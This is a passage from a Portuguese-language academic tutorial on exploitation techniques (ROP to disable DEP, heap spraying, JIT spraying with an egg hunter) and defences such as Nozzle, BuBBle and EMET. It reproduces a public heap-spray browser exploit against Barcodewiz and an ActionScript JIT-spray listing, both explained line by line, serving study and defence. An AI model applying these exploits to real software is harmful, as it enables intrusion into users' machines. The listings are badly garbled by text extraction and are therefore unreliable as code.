nesses registradores. EBP usado para armazenar o endereo da funo a ser chamada (0x7C862144). Os registradores ESI e EDI guardam o endereo de um gadget composto apenas pela instruo RETN. Esse gadget usado duas vezes para deslocar o ponteiro para o topo da pilha em 8 bytes (2 deslocamentos de 4 bytes). Aps esses deslocamentos, o apontador para o topo da pilha estar apontando para o endereo da funo SetProcessDEPPolicy, que finalmente chamada ao executar a instruo RETN contida no penltimo gadget. Ao terminar sua execuo, a funo SetProcessDEPPolicy usa o endereo de retorno armazenado na pilha pela instruo PUSHAD (correspondente ao valor contido em ESP no momento em que a instruo PUSHAD executa), o que desvia o fluxo de execuo para o shellcode. Como nesse momento o DEP j foi desativado pela funo SetProcessDEPPolicy, o shellcode executa normalmente, mesmo estando localizado na pilha. Na linha 35 do exploit, criada uma varivel de nome junk, que tem a funo apenas de completar o tamanho do shellcode para garantir que o arquivo malicioso criado pelo exploit tenha 2000 bytes. Da linha 36 46, o arquivo de sada escrito e so impressas na tela mensagens indicando a criao do arquivo denominado exploit.m3u. Esse arquivo simula uma lista de msicas a serem reproduzidas pelo software. Ao ler os dados desse arquivo, o software My MP3 Player desencadeia o ataque, que executa a calculadora do Windows (shellcode).

1.4.3. Heap Spraying Heap Spraying no uma tcnica usada diretamente para executar cdigos maliciosos. Ao invs disso, ela empregada para disponibilizar o shellcode em uma posio de memria relativamente previsvel. Por isso, ela eficaz na superao da proteo oferecida pelo ASLR. Com o auxlio do Heap Spraying, aps explorar uma vulnerabilidade que permita subverter o fluxo de execuo, pode-se desviar o fluxo para o shellcode, mesmo que o ASLR esteja habilitado (desconsiderando-se protees relacionadas ao bit NX/XD) [Ding et al., 2010]. Para isso, explora-se uma caracterstica do mecanismo de alocao de memria comum nos sistemas operacionais modernos: o alinhamento da memria. Esse alinhamento, implementado para melhorar o desempenho das operaes de manipulao da memria, estabelece que blocos de memria alocados para um processo no podem iniciar a partir de qualquer endereo. Ao invs disso, o endereo inicial deve ser um mltiplo de algum valor predeterminado. No Windows, esse valor 64KB. No Linux, as alocaes de memria so alinhadas em 4KB. A estratgia utilizada pelos atacantes consiste em forar a alocao sequencial de vrios grandes pedaos de dados contendo o shellcode precedido por operaes NOP. Como os blocos sempre so alinhados, possvel prever a posio relativa de um endereo qualquer dentro de um bloco alocado. A ttulo de exemplo, considere o endereo 0x0A0A0A0A, comumente utilizado em exploraes de Heap Spraying. A Figura 1.9 ilustra o resultado de uma alocao sequencial de pedaos de 256KB preenchidos por NOPS e um shellcode. Em funo do alinhamento dos blocos, que sempre comeam em endereos mltiplos de 64KB, o endereo 0x0A0A0A0A sempre apontar para uma entre quatro posies do pedao alocado naquela regio, dependendo de onde o bloco se inicia. Em todos os casos, para shellcodes menores do que 0x0A0B0000 0x0A0A0A0A = 0xF5F6 = 62966 bytes (quase sempre os shellcodes so menores do que 1000 bytes), essa posio apontada pelo endereo 0x0A0A0A0A sempre corresponder a uma instruo de NOP. Portanto, se o fluxo de execuo for desviado para esse endereo, as instrues NOP sero executadas em sequncia at atingir o shellcode.

Figura 1.9. Alocao sequencial de pedaos de 256KB em memria alinhada em 64KB [Ding et al., 2010].

Para forar a alocao sequencial de novos blocos de dados, o que garante o alinhamento, necessrio primeiramente ocupar os espaos vazios j liberados pela aplicao. Blocos novos somente so alocados pelo sistema caso no existam pedaos reciclveis de tamanho suficiente para acomodar o espao requisitado. Por isso, os atacantes disparam a alocao de uma grande quantidade de blocos grandes. Assim, rapidamente os espaos vazios que comportam o dado a ser armazenado so exauridos e

o sistema obrigado a alocar novos pedaos de memria no heap. Ao alocar novos blocos, o gerenciador do heap procura posicion-los de forma adjacente, a fim de minimizar a fragmentao da memria. No Windows, esses novos pedaos so alocados pela funo VirtualAlloc, que posiciona-os em sequncia [Recx, 2011]. Dessa forma, no ocorre qualquer tipo de embaralhamento dos endereos de dados alocados por essa funo, contrariando o que preconiza o ASLR e permitindo a superao dessa proteo. Uma vez que o atacante precisa possuir a capacidade de forar a alocao de grandes quantidades de memria em sequncia, foi proposto o emprego de Heap Spraying contra aplicaes que, internamente, do suporte a linguagens de programao. Por conta disso, desde 2004, essa tcnica tem sido amplamente utilizada para explorar falhas em navegadores web14. No entanto, existem exploits pblicos que a empregam para explorar vulnerabilidades em outras aplicaes, como o Acrobat Reader15 e o Microsoft Office16. Posteriormente, foi apresentada a possibilidade de forar a alocao de espao para o shellcode atravs da insero, em pginas web, de imagens construdas com o cdigo malicioso em seu interior 17. Dessa forma, nem mesmo polticas de segurana extremas, como desabilitar a execuo de scripts pelo navegador, podem impedir completamente um ataque baseado em Heap Spraying. No entanto, o procedimento mais comum ainda utilizar alguma linguagem de scripts ou de macros para inserir os blocos no heap. Em navegadores, normalmente a linguagem Javascript usada para alocar variveis cujo contedo corresponde a instrues NOP seguidas pelo shellcode. A quantidade de instrues NOP escolhida de modo que o tamanho final de um bloco corresponda a um mltiplo exato do alinhamento de memria. Para sistemas onde o alinhamento de memria ocorre em 64KB, como o Windows, comum a alocao de variveis com 256KB. Em menor quantidade, existem tambm exploits e estudos que apontam para o uso de Heap Spraying no Linux18 [Hsu et al., 2010]. O cdigo apresentado na Listagem 1.7 apresenta um exploit pblico que utiliza a tcnica de Heap Spraying para inserir o shellcode na memria. Nesse artefato, divulgado em 30 de julho de 2010, explorada uma vulnerabilidade tradicional de estouro de pilha no software Barcodewiz19.

%(

Exemplos de exploits que exploram falhas em navegadores: http://skypher.com/wiki/index.php?title=www.edup http://www.exploit-db.com/exploits/1224 , /7673 , /15746 , /17960 , /17520 , /19141 , /18847 %) Exemplos de exploits que exploram falhas no Acrobat Reader: http://www.metasploit.com/modules/exploit/multi/fileformat/adobe_u3d_meshcont http://www.exploit-db.com/exploits/16619 %6 Exemplo de exploit que explora falha no Microsoft Office: http://www.exploit-db.com/exploits/6878 %7 Exemplos de exploits que utilizam imagens para alocar espao no heap: http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Sutton.pdf https://www.owasp.org/images/0/01/OWASL_IL_2010_Jan_-_Moshe_Ben_Abu__Advanced_Heapspray.pdf %? Exemplos de exploits para Linux que usam Heap Spraying: http://svn.secmaniac.com/fasttrack/bin/exploits/firefox35.py http://www.metasploit.com/modules/exploit/multi/fileformat/adobe_u3d_meshcont %9 http://www.exploit-db.com/exploits/14519/

Listagem 1.7. Cdigo de exploit que utiliza Heap Spraying para enxertar o shellcode.
1 2 3 4 5 $ % ' 1& 11 12 13 14 15 1! 1$ 1% 1' 2& 21 22 23 24 25 2! 2$ 2% 2' 3& Iht"/N Iob,ect c/assid(Hc/sidM@U3S&'01K2!0SK41@UKS302K<1$%U0U3S@@!H id(Htar#etHNI4ob,ectN Iscript /an#ua#e(H,avascriptHN 44 Fay/oad is 2in326e-ec K ca/c1e-e she//code ( unescape(HWuc'31Wue'%3Wud'deWud'eeWu24$4Wu5bf4Wu$3%1Wu3d13Wu5e4!Wu%3'5H. HWufcebWuf4e2Wuaec1Wu'51aWu4!3dWud&d5Wucd&1Wu'&22Wu4$45Wu1eb1H. HWu5e$2Wucad5Wu4$1dWudcb5Wu$2b!Wu'4d5Wu$$d3Wu&c'eWuc2'1Wue1'eH. HWu%$3aWu'%'4Wu%43cWu!1b5Wu12&!Wu'1$aWua34%Wucad5Wu4$1'Wuf3b5H. HWu4ab!Wu1e15Wu5a!2Wu$e5fWu5ab!Wu'4d5Wucfd!Wub1&2Wu%53'Wu55!fH. HWucd5'Wua51eWu%!b%Wu''2!Wu&!b!Wu1e52Wu5a4dWu1ef3Wu4e55Wu'cb5H. HWuc!b!Wu'5eeWu4!3dWufdd5Wu1'&1Wu!3!fWu1&5dWu!dd$Wu%!beWuc525H. HWu3%55Wu$$%!Wu2e4eWu!bc!Wu4%b$Wu!a&'Wu25daWuf'3fWu4!5eWu'55eH); nops(unescape(HWu'&'&Wu'&'&H); headersiLe ( !'; 44siLe ad,usted for :<!4:<$ )universa/ity) s/ac9space( headersiLe . she//code1/en#th; 2hi/e(nops1/en#thIs/ac9space) nops.(nops; fi//b/oc9(nops1substrin#(&,s/ac9space); b/oc9(nops1substrin#(&,nops1/en#thKs/ac9space); 2hi/e(b/oc91/en#th.s/ac9spaceI&-4&&&&) b/oc9(b/oc9.b/oc9.fi//b/oc9; "e"ory(ne2 *rray(); for( counter(&; counterI25&; counter..) "e"ory[counter]( b/oc9 . she//code; ret(HH; for( counter(&; counterI(1&&&; counter..) ret.(unescape()W&aW&aW&aW&a)); tar#et1RoadFroperties(ret); I4scriptN I4ht"/N

A sequncia de atividades em um exploit que utiliza Heap Spraying para disponibilizar o shellcode em memria sempre a mesma. Primeiro, o shellcode inserido na memria atravs do Heap Spraying. Depois, a vulnerabilidade existente na aplicao explorada para obter-se controle sobre o contedo do registrador EIP. Finalmente, o contedo de EIP sobrescrito com o endereo que sabidamente aponta para a sequncia de instrues NOP que levam ao shellcode (ex: 0A0A0A0A). O exploit apresentado na Listagem 1.7 inicia com a tag <html> (linha 1), que marca o incio da pgina web. Em seguida (linha 2), um objeto da aplicao auxiliar (Barcodewiz) carregado e recebe o identificador target. A linha 3 indica o incio do cdigo Javascript. Da linha 7 linha 14, a varivel denominada shellcode inicializada com uma string que contm o cdigo hexadecimal do shellcode (calc.exe). Como as variveis do tipo string so automaticamente convertidas pelo interpretador da linguagem Javascript para o formato Unicode, utilizada a funo unescape que, juntamente com o indicador %u, ilude o interpretador ao assinalar que os dados j esto no formato Unicode. Uma caracterstica importante dos dados gerados atravs dessa estratgia que eles passam a ser indicados pelo atributo length da varivel de destino como se tivessem a metade do seu tamanho real, medido em bytes. Apesar disso, o tamanho dos dados escritos na memria obedece o tamanho da entrada (tamanho real). O shellcode usado nesse exploit, por exemplo, que possui 160 bytes, indicado pela expresso shellcode.length, da linha 18, como se possusse apenas 80 bytes. Ao efetuar os clculos para ajustar o tamanho do bloco a ser alocado, importante ter isso em mente. Outra caracterstica peculiar inerente funo unescape decorre da necessidade de expressar em ordem invertida cada par de bytes que sucedem o indicador %u. Se o

programador desejar inserir a string UFAM (0x5546414D), por exemplo, dever fazlo conforme o seguinte formato: unescape('%u4655%u4D41'). A linha 16 inicializa a varivel denominada nops com uma string que corresponde a quatro instrues NOP. A linha 17 estabelece na varivel intitulada headersize um deslocamento de 69 bytes referente posio do shellcode, para garantir que o exploit funcione tanto na verso 7 quanto na verso 6 do Internet Explorer. Na linha 18, a varivel slackspace usada para calcular o espao a ser ocupado pelo shellcode deslocado. Na linha 19, a varivel nops expandida concatenando-a com ela mesma at que seu comprimento (a metade de seu tamanho) seja igual ou maior do que o espao ocupado pelo shellcode deslocado. Na linha 20, a funo substring utilizada para preencher a varivel fillblock com a quantidade de NOPs equivalente ao espao ocupado pelo shellcode deslocado. O mesmo procedimento efetuado para preencher a varivel block com uma quantidade de NOPs equivalente diferena entre o comprimento da varivel nops e o espao ocupado pelo shellcode deslocado (linha 21). Na linha 22, a varivel block expandida at que seu comprimento, somado ao espao ocupado pelo shellcode deslocado, seja igual ou maior do que 0x40000 (256K). Ao trmino desse lao, o comprimento da varivel block corresponde a 261995 e seu tamanho real de 523990 bytes. Na linha 23, um arranjo instanciado com o nome memory. Na linha 24, esse arranjo usado para forar a alocao dos blocos no heap. Cada uma das 250 entradas do arranjo montada a partir da concatenao do contedo da varivel block com o contedo da varivel shellcode. Assim, o exploit fora a alocao de 250 blocos com, no mnimo, 524150 bytes, pois esse o tamanho real de cada uma das entradas do arranjo. Nas linhas 25 e 26, o exploit inicializa a varivel ret com 4004 ocorrncias em sequncia do valor 0x0A. Essa varivel armazena o valor que ir causar o estouro na pilha e sobrescrever o endereo de retorno. Note que, como o endereo para onde se pretende saltar composto por quatro bytes idnticos (0x0A0A0A0A), no necessrio calcular o deslocamento preciso entre o incio do buffer e o endereo de retorno. Ao invs disso, basta garantir que todos os bytes da pilha sero sobrescritos pelo valor 0x0A. Finalmente, atravs do identificador target, a funo vulnervel (LoadProperties) acionada (linha 28) passando-se a string contida em ret como parmetro, o que ocasiona o estouro da pilha e o consequente desvio do fluxo de execuo para as instrues NOP que precedem o shellcode. As linhas 29 e 30 apenas marcam, respectivamente, o fim do cdigo Javascript e da pgina html. Convm destacar que ao efetuar um Heap Spray no h a preocupao quanto a caracteres invlidos, pois o contedo armazenado diretamente na memria. Os valores atribudos s variveis no so interpretados por nenhum programa, que poderia verificar se os dados se adequam a algum formato esperado. Apesar disso, a entrada responsvel por lanar a explorao da vulnerabilidade ainda pode estar sujeita a restries. Se a tcnica de sobrescrita de um tratador de excees estiver sendo usada para desviar o fluxo de execuo em um exploit que emprega Heap Spraying, importante notar que a eventual proteo oferecida pelo SafeSEH no ter eficcia. Conforme explicado na seo 1.3.1.3, essa proteo s efetiva contra desvios para mdulos carregados pelo processo. Como na tcnica de Heap Spraying o fluxo de execuo

desviado para o heap, essa proteo no interrompe o ataque, ainda que todos os mdulos tenham o SafeSEH habilitado. Outro uso interessante de Heap Spraying ocorre quando se explora a sobrescrita de um ponteiro para alguma funo em uma tabela virtual. Para concretizar esse tipo de explorao, necessrio criar uma cadeia de ponteiros apontando para outros ponteiros, que culmine no endereo do shellcode. Apesar de normalmente ser um enorme desafio construir essa estrutura, possvel utilizar instrues de apenas um byte cujo comportamento se assemelhe a um NOP para efetivar esse tipo de explorao, quando aliada tcnica de Heap Spraying. Se a concatenao de quatro opcodes dessa instruo formar um endereo de heap que aponte para a sequncia de instrues NOP que precedem o shellcode, pode-se usar esse valor tanto como NOP quanto como endereo de destino do salto. O opcode 0x0C um exemplo amplamente utilizado. Esse valor designa a instruo OR AL, 0C, que para exploits baseados em Heap Spraying no causa qualquer efeito colateral e, por isso, pode ser encarado como um NOP. Alm disso, o endereo 0x0C0C0C0C aponta para a sequncia de NOPs que precede o shellcode no heap. Assim, se os NOPs (0x90) forem substitudos por 0x0C, ao dereferenciar (dereference) o ponteiro apontado para o endereo 0x0C0C0C0C, o novo ponteiro acabar no mesmo endereo. No importa quantos ponteiros em sequncia sejam dereferenciados, no final, o fluxo de execuo ser desviado para o endereo 0x0C0C0C0C. Nesse ponto, os bytes 0x0C sero encarados como instrues de NOP e levaro o fluxo de execuo at o shellcode, exatamente como em um Heap Spray convencional [Eeckhoutte, 2011]. Isso explica porque boa parte dos exploits pblicos baseados em Heap Spraying utilizam o endereo 0x0C0C0C0C. No entanto, devido sua frequncia em exploits desse tipo, essa sequncia de bytes tambm aparece regularmente nas assinaturas utilizadas por Sistemas de Deteco de Intruso. Um fator importante que deve ser considerado ao escrever exploits que utilizam Heap Spraying o tempo de execuo consumido pela rotina de alocao de blocos no heap. Durante o lao de atribuio de valores s posies do arranjo, o navegador pode parecer estar travado. Se essa situao se prolongar, o usurio acabar encerrando a aplicao. Por isso, convm encontrar o balanceamento ideal entre o tamanho dos blocos a serem alocados e a quantidade de iteraes no lao. Vrias solues foram propostas na tentativa de barrar ataques baseados em Heap Spraying. Nozzle, incorporado parcialmente ao Internet Explorer, previne a alocao de sequncias recorrentes de bytes que correspondam a cdigos de instrues [Ratanaworabhan et al., 2009]. Assim, esse mecanismo impede a insero repetitiva dos NOPs que precedem o shellcode. BuBBle, por sua vez, previne a alocao recorrente de blocos com o mesmo contedo (ex: uma longa sequncia de NOPs seguida por um shellcode) [Gadaleta et al., 2010]. Essa estratgia est implementada no Firefox. Ambas as protees so eficazes na conteno de ataques tradicionais de Heap Spraying, como aquele exemplificado na Listagem 1.7. No entanto, j foi demonstrado que essas defesas podem ser superadas. Peter Van Eeckhoutte demonstrou uma abordagem que permite executar o Heap Spraying com sucesso nos navegadores Internet Explorer 9 e 10, e no Firefox 9 [Eeckhoutte, 2011]. Ele diversifica as instrues correspondentes sequncia

de NOPs e embaralha a maior parte do contedo de cada bloco para garantir que cada pedao alocado tenha um contedo diferente dos demais, apesar do mesmo tamanho. 1.4.4. JIT Spraying JIT Spraying o nome de uma tcnica de desenvolvimento de exploits idealizada por Dionysus Blazakis [Blazakis, 2010]. Trata-se de uma evoluo da tcnica de Heap Spraying, na medida em que ela utiliza o mesmo artifcio de inundar o Heap com vrios blocos contendo o shellcode. Por isso, atravs do JIT Spraying tambm possvel iludir a proteo oferecida pelo ASLR. No entanto, JIT Spraying diferencia-se de Heap Spraying pela maneira como o cdigo inserido. No JIT Spraying, os blocos so introduzidos na forma de instrues, que antes de serem executadas, passam por um compilador de tempo real (Just In Time JIT). Esse tipo de compilador tem a funo de converter os cdigos intermedirios (bytecodes), usados em linguagens de programao interpretadas, para instrues na linguagem da mquina. Portanto, os cdigos gerados por um compilador JIT so marcados com o bit de execuo, para que as instrues possam ser executadas no momento oportuno. Essa caracterstica confere ao JIT Spraying a capacidade de superar tambm o DEP. Em funo da popularidade alcanada pelos ataques de Heap Spraying, os principais navegadores web do mercado logo incorporaram estratgias de defesa contra ataques baseados na linguagem JavaScript. Isso dificulta tambm a consolidao de estratgias de JIT Spraying usando essa linguagem. No entanto, Dion Blazakis demonstrou que possvel explorar comportamentos previsveis do compilador JIT da linguagem ActionScript, usada por aplicaes Flash, para construir exploits baseados em JIT Spraying [Blazakis, 2010]. O autor constatou que sequncias de operaes lgicas de OU-exclusivo (XOR) escritas em ActionScript so convertidas para sequncias de instrues de mquina XOR. Alm disso, Dion observou que poderia inserir os cdigos relativos a instrues de um shellcode na forma de operandos para essas operaes XOR. A Listagem 1.8 apresenta um exemplo de cdigo em ActionScript que utiliza a operao XOR (operador ^) para inserir valores que correspondem a um shellcode do tipo Egg Hunter.
Listagem 1.8. Cdigo para insero de shellcode via operaes XOR de ActionScript.
1 2 3 var ,it((&-3c'&'&'& X &-3c'&d231 X &-3cffca%& X &-3c&fce%& X &-3c42'&'& X &-3c&2!a52 X &-3c2ecd5% X &-!a'&&53c X &-!a'&5a5a X &-3c'&d%$4 X &-31b%5'5' X &-3c'&&$33 X &-!aaffa%b X &-!aafd1$5);

Ao ser traduzido pelo compilador JIT de ActionScript, o cdigo apresentado na Listagem 1.8 convertido no cdigo de mquina exibido na coluna da esquerda da Tabela 1.6. Observa-se que a primeira instruo carrega a primeira constante no registrador EAX. Todas as demais instrues realizam uma operao de XOR entre o contedo de EAX e uma constante assinalada na prpria instruo (operando imediato).

Tabela 1.6. Cdigo convertido pelo compilador JIT, a partir do 1 byte e a partir do 2 byte.

Cdigo original (sem deslocamento) End. rel. Cd. (hexa) Assembly

&-& &-5 &-* &-0 &-14 &-1' &-1< &-23 &-2% &-2U &-32 &-3$ &-3@ &-41 S% 35 35 35 35 35 35 35 35 35 35 35 35 35 '&'&'&3@ 31U2'&3@ %&@*003@ %&@<&03@ '&'&423@ 52!*&23@ 5%@U2<3@ 3@&5'&!* 5*5*'&!* $4U%'&3@ 5'5'S%31 33&$'&3@ %S0**0!* $5U1*0!* C?P T?B T?B T?B T?B T?B T?B T?B T?B T?B T?B T?B T?B T?B <*T,3@'&'&'& <*T,3@'&U231 <*T,3@00@*%& <*T,3@&0@<%& <*T,3@42'&'& <*T,3@&2!*52 <*T,3@2<@U5% <*T,!*'&&53@ <*T,!*'&5*5* <*T,3@'&U%$4 <*T,31S%5'5' <*T,3@'&&$33 <*T,!**00*%S <*T,!**0U1$5

Cdigo a partir do 2 byte (deslocado em 1 byte) End. rel. Cd. (hexa) Assembly
&-1 &-2 &-3 &-4 &-! &-% &-' &-S &-< &-1& &-13 &-15 &-1! &-1$ &-1% &-1* &-1S &-1U &-10 &-2& &-22 &-24 &-2! &-2$ '& ;?F '& ;?F '& ;?F 3@ 35 @CF *R,35 31U2 T?B <UT,<UT '& ;?F 3@ 35 @CF *R,35 %&@* 00 ?B UR,00 3@ 35 @CF *R,35 %&@< &0 ?B UE,&0 3@ 35 @CF *R,35 '& ;?F '& ;?F 42 :;@ <UT 3@ 35 @CF *R,35 52 F3>E <UT !* &2 F3>E 2 3@ 35 @CF *R,35 5% F?F <*T @U 2< :;= 2< 3@ 35 @CF *R,35 3@ &5 @CF *R,5 '& ;?F !* 35 F3>E 35 (continua 111)

Conforme discutido na seo 1.4.2, a arquitetura x86 possui instrues de tamanhos variados. Em funo disso, no h restries de alinhamento para o acesso a instrues na memria. Qualquer byte pode ser acessado como se fosse o incio de uma instruo. Essa caracterstica explorada pela tcnica de JIT Spraying que, conforme indicado na segunda coluna da Tabela 1.6, acessa o cdigo a partir do seu segundo byte. Dessa forma, os valores inseridos pelo atacante e interpretados pelo compilador JIT como constantes de uma operao XOR, passam a ser interpretados pelo processador como instrues. Repare que o cdigo apresentado na coluna direita da Tabela 1.6 semelhante s primeiras instrues do cdigo de Egg Hunter apresentado na seo 1.4.1. De fato, o cdigo indicado na Listagem 1.8 e reproduzido (aps ser compilado) na coluna esquerda da Tabela 1.6 executa a funo de um Egg Hunter, caso seja acessado a partir do seu segundo byte. Na coluna direita da tabela, o cdigo foi cortado apenas por economia de espao, mas ele representa exatamente as primeiras instrues que sero executadas pelo processador caso o cdigo original seja acessado a partir do segundo byte. Note que o cdigo inserido pelo atacante requer ligeiras adaptaes, a fim de neutralizar o efeito produzido pela insero do byte 0x35. Esse byte, adicionado pelo compilador JIT, corresponde ao cdigo de operao da instruo XOR. Para torn-lo sem efeito, insere-se o byte 0x3C imediatamente antes da sua posio. Assim, o processador executa a instruo CMP AL, 35 ao encontrar a sequncia 0x3C35. Na maior parte do tempo, essa instruo tem funo equivalente a um NOP, pois no altera o funcionamento do shellcode. Entretanto, quando o shellcode necessitar efetuar algum desvio condicional, ela deve ser substituda por outra instruo sem efeito. Nesses casos, a instruo CMP AL, 35 poderia alterar o valor do flag a ser checado para a definio do salto.

Alexey Sintsov apresentou um estudo detalhado sobre os cuidados a serem adotados durante a construo de shellcodes a serem inseridos via ActionScript JIT Spraying [Sintsov, 2010a]. Nesse trabalho, ele soluciona o desafio de realizar desvios condicionais trocando o valor 0x3C por 0x6A. Assim, o processador executa uma instruo PUSH 35 ao encontrar a sequncia 0x6A35, ao invs de executar CMP AL, 35. Isso garante que os valores de flags, estabelecidos durante a execuo da instruo CMP AL,5 (endereo 0x24), sero mantidos at a execuo da instruo de desvio condicional (no caso do Egg Hunter, trata-se de um JZ vide seo 1.4.1). Naturalmente, apesar de no comprometer os flags, a instruo de PUSH 35 possui o efeito de empilhar um valor na pilha, o que pode atrapalhar futuramente o funcionamento do shellcode. Para evitar isso, o atacante insere, em algum ponto depois do PUSH 35 e antes de acessar a pilha, uma instruo de POP (ex: POP EDX que equivale a 0x5A). Aps debruar-se sobre tantos detalhes, o leitor deve estar se perguntando se as mincias at aqui descritas so suficientes para que ele reproduza seu prprio exploit baseado em JIT Spraying. A resposta, por incrvel que parea, no! Sintsov discute ainda outros aspectos importantes para a construo de shellcodes a serem inseridos via ActionScript JIT Spraying. Contudo, esses detalhes no sero explicados aqui, por fugirem do escopo deste trabalho. Assim como no Heap Spraying, o endereo utilizado pelo atacante para desviar o fluxo de execuo uma estimativa. Por isso, na tcnica de JIT Spraying, o shellcode tambm prefixado por vrias instrues de NOP. Isso aumenta a quantidade de endereos que, ao serem escritos no registrador de instrues (EIP), acarretaro na execuo do shellcode. Contudo, a sequncia de NOPs criados atravs do JIT Spraying no tem a mesma eficincia que os NOPs gerados via Heap Spraying. Isso ocorre por causa do byte 0x35, inserido pelo compilador JIT. Se o fluxo de execuo for desviado exatamente para esse byte, o programa acabar executando a sequncia de instrues XOR originalmente prevista no cdigo compilado. Portanto, para cada 5 bytes de uma sequncia de NOPs (ex: 0x359090903C), apenas 4 levam execuo do shellcode. Sintsov alerta ainda para o tamanho do shellcode a ser inserido via JIT Spraying. Segundo o autor, se o bytecode a ser alocado for grande, poder ocorrer um distanciamento entre os blocos correspondentes na memria. Isso degradar as chances de sucesso de uma estratgia baseada em borrifar dados. Alm disso, shellcodes pequenos deixam mais espao no bloco para a sequncia de NOPs, aumentando as chances de sucesso de acertar o endereo de desvio. Por tudo isso, ao utilizar a tcnica de JIT Spraying, recomenda-se optar por um Egg Hunter como shellcode [Sintsov, 2010b]. A Figura 1.10 ilustra a estrutura na memria montada por um exploit que emprega JIT Spraying para disponibilizar um Egg Hunter no heap.

Figura 1.10. Estrutura da memria montada por exploit que usa JIT Spraying e Egg Hunter.

Antes de explorar uma vulnerabilidade que permita subverter o fluxo de execuo da aplicao (um estouro de pilha, por exemplo), o cdigo ActionScript do atacante insere o segundo estgio do shellcode na memria, prefixado por um marcador (tag) a ser procurado pelo Egg Hunter. Essa insero normalmente realizada atravs da inicializao de uma varivel do tipo string com o cdigo hexadecimal do shellcode. Depois disso, via JIT Spraying, o script do atacante fora sucessivas alocaes sequenciais do primeiro estgio do shellcode (Egg Hunter), que prefixado por uma longa sequncia de instrues NOP. Esses blocos so alocados atravs da repetio da operao de OU-exclusivo (operador ^) entre constantes, conforme indicado na Listagem 1.8. Aps finalizar a pulverizao dos blocos na memria, o atacante fora a falha do software, obrigando o fluxo de execuo a saltar para a sequncia de instrues NOP. O fluxo de execuo segue at o Egg Hunter, que atravs do marcador descobre o endereo de memria onde est localizado o segundo estgio do shellcode. Porm, como o segundo estgio do shellcode no foi inserido via JIT Spraying, ele no possui permisso de execuo. Por isso, necessrio superar o DEP antes de desviar o fluxo de execuo. Para isso, um cdigo anexado ao final do Egg Hunter chama a funo VirtualAlloc, a fim de criar uma nova rea de memria com permisso de execuo. As funes memcpy ou WriteProcessMemory so ento utilizadas para copiar o segundo estgio do shellcode para a rea recm-alocada. Finalmente, o fluxo de execuo desviado para o derradeiro estgio do shellcode. Visto que a tcnica de JIT Spraying normalmente empregada para burlar tambm o ASLR (alm do DEP), necessrio descobrir os endereos das funes mencionadas, antes de cham-las. O mecanismo de descoberta desses endereos envolve percorrer os dados referentes s bibliotecas carregadas, disponveis no PEB (Process Execution Block) do processo. Wever [Wever, 2009] e Sintsov [Sintsov, 2010a] apresentam boas estratgias para cumprir esse requisito. Como a explicao dessas abordagens foge do escopo deste trabalho, elas no sero detalhadas.

1.5. Consideraes finais

Pesquisadores trabalham constantemente no desenvolvimento de novas tcnicas de proteo, ao mesmo tempo que os fabricantes de softwares se esmeram em aprimorar suas contra medidas. Por conta disso, se por um lado tem sido mais fcil encontrar novas vulnerabilidades em funo da evoluo das diversas ferramentas de anlise de

aplicaes, como softwares para fuzzing , a consolidao de exploraes cada vez mais difcil. O conhecimento necessrio para efetivar esses ataques cresce junto com o nvel de dificuldade de elabor-los. Da mesma forma, o conhecimento bsico necessrio para a elaborao de novas tcnicas, defensivas ou ofensivas, tem se elevado ao longo do tempo. Existem vrios exemplos que demonstram a corrida evolucionria travada entre atacantes e defensores no que se refere explorao de softwares. Um episdio recente ilustra bem esse cenrio. Por ter se tornado a principal tcnica utilizada por desenvolvedores de exploits para superar o DEP, mitigaes contra o ROP tm sido amplamente estudadas. A Microsoft anunciou um novo mecanismo de proteo contra o ROP, inserido na verso preliminar do Windows 8. Ele impede a chamada de determinadas APIs (apenas aquelas tipicamente utilizadas em ataques ROP) caso os parmetros no estejam armazenados na rea de pilha do processo. No entanto, poucos dias depois, pesquisadores apresentaram demonstraes de duas estratgias relativamente simples capazes de burlar essa defesa20. Tudo isso relacionado a um sistema que ainda nem foi lanado oficialmente. Outro ponto de concentrao de esforos da Microsoft na busca por mecanismos de conteno de ataques tem sido a ferramenta EMET ( Enhanced Mitigation Experience Toolkit) [Microsoft, 2012a]. Trata-se de um utilitrio gratuito que pode ser instalado nos sistemas Windows. Ao longo do tempo, essa ferramenta tem agregado uma srie de protees contra tcnicas de desenvolvimento de exploits. Atualmente, ela inclui, entre outros, os seguintes mecanismos [Microsoft, 2012b]: a) Uma verso aprimorada do SEHOP; b) Uma proteo contra Heap Spraying, que pr-aloca as regies de memria popularmente usadas por atacantes nesse tipo de explorao (exemplos: 0x0A0A0A0A e 0x0C0C0C0C); c) O suporte a ASLR obrigatrio, que fora o uso do ASLR para todos os mdulos; d) DEP dinmico, que permite habilitar o DEP mesmo para aplicaes que no foram compiladas com o flag /NXCOMPACT; e) Quatro novas mitigaes contra ROP, incluindo uma verso do ROPGuard, uma defesa contra ROP apresentada por Ivan Fratric no concurso BlueHat Prize [Microsoft, 2012c]. No caso do ltimo mecanismo mencionado, ainda disponvel apenas na verso de testes do EMET (EMET 3.5 Tech Preview), duas semanas aps o seu anncio, foi demonstrada uma tcnica para super-lo [Repret, 2012]. Apesar disso, todo o esforo que tem sido promovido para proporcionar uma evoluo dos mecanismos de defesa tem um impacto considervel no custo para desenvolver exploits confiveis, elevando tambm o volume de conhecimento a ser assimilado pelos atacantes. Atualmente, o principal objetivo dos pesquisadores de protees contra exploits justamente tornar o
&0

Demonstraes de superao da proteo contra ROP implementada no Windows 8: http://vulnfactory.org/blog/2011/09/21/defeating-windows-8-rop-mitigation/ http://blog.bkav.com/en/rop-chain-for-windows-8/ http://blog.bkav.com/en/advanced-generic-rop-chain-for-windows-8/

processo de desenvolvimento de exploits to caro que essa tendncia passe a desestimular a atividade de construo de cdigos maliciosos [Microsoft, 2010b]. Finalmente, parece claro que no existir uma proteo nica capaz de impedir todos os tipos de ataques. Ao invs disso, a segurana deve ser alcanada atravs do uso consciente de todos os mecanismos de defesa disponveis. Alm disso, sem um bom conhecimento sobre todos os aspectos envolvidos nos ataques, torna-se difcil adaptar as solues existentes aos novos cenrios, que emergem constantemente.

Referncias
